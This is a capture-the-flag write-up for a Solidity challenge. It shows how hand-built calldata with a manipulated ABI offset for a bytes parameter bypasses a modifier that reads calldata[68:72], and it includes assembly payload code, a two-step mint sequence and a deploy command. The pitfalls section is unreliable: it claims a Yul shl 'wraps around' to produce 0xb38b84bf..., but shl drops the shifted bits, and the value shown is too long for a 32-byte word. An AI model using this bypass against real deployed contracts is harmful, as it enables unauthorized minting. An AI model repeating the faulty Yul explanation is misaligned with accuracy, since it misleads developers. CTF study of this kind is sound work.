Appearance
S2C7: Calldata FTW
1. Problem
The contract has an onlyMintFlag modifier that reads 4 bytes from calldata[68:72], requiring it to equal mintFlag's function selector. It is necessary to bypass this check to call mintFlag.
2. Cause
The onlyMintFlag modifier uses calldataload to directly read a fixed position in calldata (offset 68), rather than using Solidity's type system. By manipulating the offset of the bytes parameter in ABI encoding, the mintFlag selector can be precisely placed at calldata[68:72].
3. Solution
Construct custom calldata such that the ABI offset of the bytes parameter points to a position where the modifier's check location is exactly the mintFlag function selector:
calldata layout (164 bytes):
[0:4] = mint() selector (0x7ba0e2e7)
[4:36] = offset 0x7C (points to the bytes data position)
[36:68] = padding
[68:72] = 0xe00d023f (mintFlag() selector — modifier reads here!)
[72:128]= padding
[128:160]= 0x04 (data length)
[160:164]= target function selector
solidity
function callWithPayload(address challenge, uint256 targetWord) internal {
bytes memory payload = new bytes(164);
assembly {
let p := add(payload, 0x20)
mstore(p, 0x7ba0e2e700000000000000000000000000000000000000000000000000000000) // mint sel + offset prefix
mstore(add(p, 32), 0x0000007C00000000000000000000000000000000000000000000000000000000) // offset=0x7C + padding
mstore(add(p, 64), 0x00000000e00d023f000000000000000000000000000000000000000000000000) // mintFlag sel at [68:72]
mstore(add(p, 96), 0x0000000000000000000000000000000000000000000000000000000000000000)
mstore(add(p, 128), 0x0000000000000000000000000000000000000000000000000000000000000004) // length=4
mstore(add(p, 160), targetWord)
}
(bool ok,) = challenge.call(payload); require(ok);
}
Two-step execution:
- Call
mint()with_data = allowMinter()→ adds the attacker to the allowed list - Call
mint()with_data = mintFlag()→ triggers flag mint
4. Pitfalls Encountered
Pitfall 4.1: shl(224, bytes4) produces incorrect results in Yul assembly
When computing the mintFlag selector, using shl(224, bytes4(selector)) in Yul assembly produces completely wrong results.
Example:
solidity
bytes4 target = bytes4(keccak256("allowMinter()")); // 0x0fd16506
bytes32 asmResult;
assembly { asmResult := shl(224, target) }
// asmResult = 0xb38b84bf... (wrong!)
// expected = 0x0fd16506000... (correct)
Pitfall 4.2: Calldata offset calculation
The ABI offset of the bytes parameter needs to precisely point to the position of the mintFlag selector in calldata (68).
Pitfall 4.3: forge create --broadcast ineffective
forge create --broadcast on OP Mainnet always shows "Dry run enabled" and cannot broadcast transactions.
5. Pitfall Causes
Cause 5.1: Memory layout of bytes4 in Yul assembly
In Solidity, bytes4 is right-aligned (occupying the lower 4 bytes of a 32-byte stack slot). But in Yul inline assembly, the bytes4 value is placed in the upper (left) side of the 32-byte stack slot, i.e., left-aligned.
bytes4(0x0fd16506) in Solidity:
0x000000000000000000000000000000000000000000000000000000000fd16506
(right-aligned, occupies lower 4 bytes)
bytes4(0x0fd16506) in Yul assembly:
0x0fd1650600000000000000000000000000000000000000000000000000000000
(left-aligned, occupies upper 4 bytes)
When executing shl(224, bytes4_value):
- Expected: shift the right-aligned lower 4 bytes left by 224 bits → selector reaches the upper position
- Actual: shift the left-aligned upper 4 bytes left by 224 bits → all meaningful data is shifted out! Upper bits become garbage
// Solidity level (correct)
uint256(uint32(0x0fd16506)) << 224
= 0x0fd1650600000000000000000000000000000000000000000000000000000000
// Yul assembly (wrong!)
shl(224, 0x0fd1650600000000000000000000000000000000000000000000000000000000)
= 0xb38b84bf0000000000000000000000000000000000000000000000000000000000
// (garbage! Data shifted out of 256-bit range and wrapped around)
Cause 5.2: Calldata offset
In ABI encoding, the bytes type is encoded as: static part stores the offset, dynamic part stores length + data. The offset is relative to the start of the parameter block. Careful calculation is required so that the modifier's read position is exactly the target selector.
Cause 5.3: forge create bug
forge create --broadcast has a known issue on OP Mainnet — the broadcast logic may fail. Use forge script instead.
6. How to Resolve
Solution 6.1: Avoid operating on bytes4 in Yul
solidity
// Correct approach: convert to uint256 at the Solidity level
bytes4 selector = bytes4(keccak256("allowMinter()"));
uint256 targetWord = uint256(uint32(selector)) << 224;
// Or directly hardcode the precomputed value
uint256 hardcoded = 0x0fd1650600000000000000000000000000000000000000000000000000000000;
This solution uses hardcoded precomputed values to completely avoid this issue.
Solution 6.2: Manually construct calldata
Instead of using Solidity's ABI encoding, manually construct the complete 164-byte payload directly in assembly.
Solution 6.3: Use forge script
bash
forge script script/S2C7Deploy.s.sol --rpc-url $RPC --private-key $PK --broadcast
7. Key Technical Points
| Point | Description |
|---|---|
| ABI calldata encoding | bytes type encoding stores offset in the static part and length + data in the dynamic part |
| calldataload bypass | A modifier that directly reads calldata can be bypassed through calldata manipulation |
| Yul bytes4 alignment trap | bytes4 is left-aligned in assembly; shift operation results differ from Solidity |
| Custom calldata | Use assembly mstore to construct arbitrary calldata layouts |
| forge create bug | forge create --broadcast is unusable on OP Mainnet |
Core code: solutions/season2/Challenge7Solution.solDiagnostic test: test/Bytes4Shift.t.solDeployment script: script/S2C7Deploy.s.sol